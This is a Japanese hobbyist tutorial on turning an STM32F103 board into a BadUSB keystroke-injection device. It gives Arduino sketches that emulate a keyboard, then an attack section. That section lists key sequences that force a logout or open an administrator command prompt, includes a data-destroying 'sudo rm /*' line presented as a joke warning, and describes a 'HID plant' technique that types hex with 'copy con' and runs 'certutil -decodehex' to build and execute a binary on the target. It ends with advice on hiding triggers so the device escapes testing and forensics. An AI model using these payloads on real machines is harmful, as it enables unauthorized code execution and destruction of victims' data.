STM32でBadUSBを作る

「STM32F103でHIDデバイス」
https://qiita.com/nanbuwks/items/f7f2377c2b252e936baa
を元に再構成した記事です。

# 概要

STM32F1マイコンのUSBインターフェースをHIDデバイスとして簡単にプログラムできます。
この技術を使って、キーボードから入力があったように振る舞うようにしてみましょう。

元々、STM32_Arduino の bootloader を書き込むとシリアル通信としてのUSBデバイスは使えるようになっていました。更に、以下のライブラリを使うとUSBHIDができるようになり、キーボードやマウスを模した動作ができるようになります。

https://github.com/arpruss/USBHID_stm32f1

このサイトの説明を見ると、USB HID 以外に MIDIやMass storage もできるとあります。夢が広がりますね！

# 設定方法

- 先のサイトからライブラリをダウンロード。
 - 今回の例ではZIPでダウンロードしました。
- 展開
 - Arduinoスケッチを保存するところのフォルダ中の、hardware/Arduino_STM32-master/STM32F1/libraries に配置
 - 例えば、ポータブル環境だと以下に展開することになります。
 - .../(ポータブル環境ディレクトリ)/hardware/Arduino_STM32-master/STM32F1/libraries


ZIPを展開すると USBHID_stm32f1-master という名前のフォルダができるますが、それを USBHID_stm32f1 というフォルダ名に変更し、上記の場所に移動する。

# 動作テスト

```

#include <USBHID.h>

void setup() {
  USBHID_begin_with_serial(HID_KEYBOARD);
  Keyboard.begin();
}

void loop() {
 
    Keyboard.println("Hello,world.");
    delay(5000);
}

```

とすると、5秒おきに Hello,World が出力されます。

## うまく動かない場合

Norton や Kaspersky などのウイルス対策ソフトがブロックすることがある？
https://qiita.com/nanbuwks/items/7026c4bf9937eed5ded8
(参照：「STM32duino 環境のトラブルシューティング」)

# Webブラウザを出す

```

#include <USBHID.h>

void setup() {
  USBHID_begin_with_serial(HID_KEYBOARD);
  Keyboard.begin();
}
void loop(){
   delay(5000);
   Keyboard.press(KEY_LEFT_GUI);
   Keyboard.press('r');
   delay(100);
   Keyboard.releaseAll();
   Keyboard.println("lowleveltokyo.connpass.com\n");
}
```

Windowsキーを押して「ファイル名を指定して実行」を出し、ブラウザを出しています。
（低レベル勉強会のイベントサイトが出ます。決してブラウザクラッシャーではありません。）
なお、特殊キーの一覧は

# BadUSB

当然、悪いこともしまくりです。


## 攻撃コード

以下は、プログラムコードではなくキーボードコンビネーションを示します。

### Windows

LogOUT:

```
Ctrl+Alt+Delete
+
Alt + I
```

Command Prompt:

```
Windows key + R
 + 
CMD + Enter
```

### Mac OSX

LogOut:

```
COMMAND Key + Shift Key + Q
+
Enter

```
### Ubuntu
LogOut:

```
Ctrl+Alt+Delete 
+
Enter
```

### Android

Depend on each device. 
Logout: (few device )

```
Ctrl+Alt+Delete
```


### iOS

機材持ってないのでスミマセン


### やるなよ！　絶対やるなよ！  Do Not

```
 sudo rm /*
```
 
### キーボードだけで実行コードを作り出す(Windows)
「HIDプラント」と名づけています。HIDデバイスだけで、実行プログラムを作り出す方法です。

Windowsのバージョンによって動作は異なります。特に、Windows10とそれより前のバージョンではかなり異なるようです。

#### 管理者としてコマンドプロンプト起動
```
Windows key
Cmd + shift + F10
↓ + Enter + ← Enter 
```

#### １６進コード作成
```
Copy con code.hex
Abcdef012345689 (16進コードを記述します)
Ctrl+Z

```
#### バイナリ生成＋実行
```
certutil -f -decodehex code.hex code.exe 12
```
あらかじめ、16新コードは別マシンで作成し、hexファイルに変換します。 copy con code.hex でそのhexファイルの内容を書き出すようにプログラムを作ります。
Arduinoの内部に格納できるコードは限られているので、ある程度小さなコードにする必要があります。

# 脅威に対する対策

単純にキーボードとして動作するようなものは判別が簡単ですが、以下のように動作するものを作るのは簡単です。
- 最初は、
- センサやタイマーなどの条件が揃うと発動
- キーボードデバイスに変化する
- キーボード入力を模して動作する。

こういったものを排除するためには事前に動作をよく確認することが必要ですが、トリガ発動条件を工夫して、動作検証時にはバレないようにすることは簡単です。フォレンジックで検出できないデバイスが簡単にできてしまうことがよくわかるでしょう。


# 参考資料

## keyboard.hで定義されている特殊キー

``````
#define KEY_LEFT_CTRL   0x80
#define KEY_LEFT_SHIFT    0x81
#define KEY_LEFT_ALT    0x82
#define KEY_LEFT_GUI    0x83
#define KEY_RIGHT_CTRL    0x84
#define KEY_RIGHT_SHIFT   0x85
#define KEY_RIGHT_ALT   0x86
#define KEY_RIGHT_GUI   0x87

#define KEY_UP_ARROW    0xDA
#define KEY_DOWN_ARROW    0xD9
#define KEY_LEFT_ARROW    0xD8
#define KEY_RIGHT_ARROW   0xD7
#define KEY_BACKSPACE   0xB2
#define KEY_TAB       0xB3
#define KEY_RETURN      0xB0
#define KEY_ESC       0xB1
#define KEY_INSERT      0xD1
#define KEY_DELETE      0xD4
#define KEY_PAGE_UP     0xD3
#define KEY_PAGE_DOWN   0xD6
#define KEY_HOME      0xD2
#define KEY_END       0xD5
#define KEY_CAPS_LOCK   0xC1
#define KEY_F1        0xC2
#define KEY_F2        0xC3
#define KEY_F3        0xC4
#define KEY_F4        0xC5
#define KEY_F5        0xC6
#define KEY_F6        0xC7
#define KEY_F7        0xC8
#define KEY_F8        0xC9
#define KEY_F9        0xCA
#define KEY_F10       0xCB
#define KEY_F11       0xCC
#define KEY_F12       0xCD
```


今回の解説ではキーボードのエミュレーションのみですが、マウスやUSBストレージなどもエミュレーションできます。自信のある方はチャレンジしてみてください。